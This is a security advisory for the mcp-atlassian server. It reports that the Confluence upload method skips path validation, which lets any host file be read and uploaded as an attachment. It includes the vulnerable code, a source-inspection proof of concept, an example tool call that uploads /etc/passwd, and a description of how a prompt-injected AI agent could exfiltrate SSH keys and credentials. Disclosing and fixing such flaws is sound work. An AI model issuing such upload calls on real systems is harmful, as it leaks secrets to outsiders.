GHSA-93xw-j965-9mx3: Path Traversal

Summary

The uploadattachment method in confluence/attachments.py reads and uploads arbitrary local files to Confluence without calling validatesafepath(). Both download methods (downloadattachment at line 223, downloadcontentattachments at line 272) correctly call validatesafepath() before writing files, but the upload path at lines 35-79 skips this check entirely.

An AI agent connected via MCP (or an attacker influencing that agent through prompt injection) can read any file on the host and exfiltrate it by uploading it as a Confluence page attachment.

Vulnerable Code

File: src/mcpatlassian/confluence/attachments.py, lines 62-79

python No validatesafepath() call anywhere in this method if not os.path.isabs(filepath): filepath = os.path.abspath(filepath)

if not os.path.exists(filepath): return {"success": False, "error": f"File not found: {filepath}"}

filename = os.path.basename(filepath) attachment = self.uploadattachmentdirect( contentid, filepath, filename, comment, minoredit )

The validatesafepath function is already imported at line 9 of the same file, and used in the download methods. It was just not added to the upload path.

Proof of Concept

Tested with mcp-atlassian 0.21.1 on Python 3.11 (EC2, Amazon Linux 2023).

python import inspect from mcpatlassian.confluence.attachments import AttachmentsMixin

Confirm: no validatesafepath in upload source = inspect.getsource(AttachmentsMixin.uploadattachment) assert "validatesafepath" not in source # passes

Confirm: validatesafepath IS in downloads assert "validatesafepath" in inspect.getsource(AttachmentsMixin.downloadattachment) # passes assert "validatesafepath" in inspect.getsource(AttachmentsMixin.downloadcontentattachments) # passes

An MCP tool call like this reads /etc/passwd and uploads it to Confluence:

json {"tool": "confluenceuploadattachment", "arguments": {"contentid": "123456", "filepath": "/etc/passwd"}}

Impact

Exfiltration of any file readable by the MCP server process: SSH keys, AWS credentials, .env files, /etc/passwd, application secrets. Data leaves the local machine and lands on a remote Confluence instance accessible to other users.

Suggested Fix

Add validatesafepath(filepath) before the os.path.exists() check in uploadattachment, matching the existing pattern in the download methods. The function is already imported.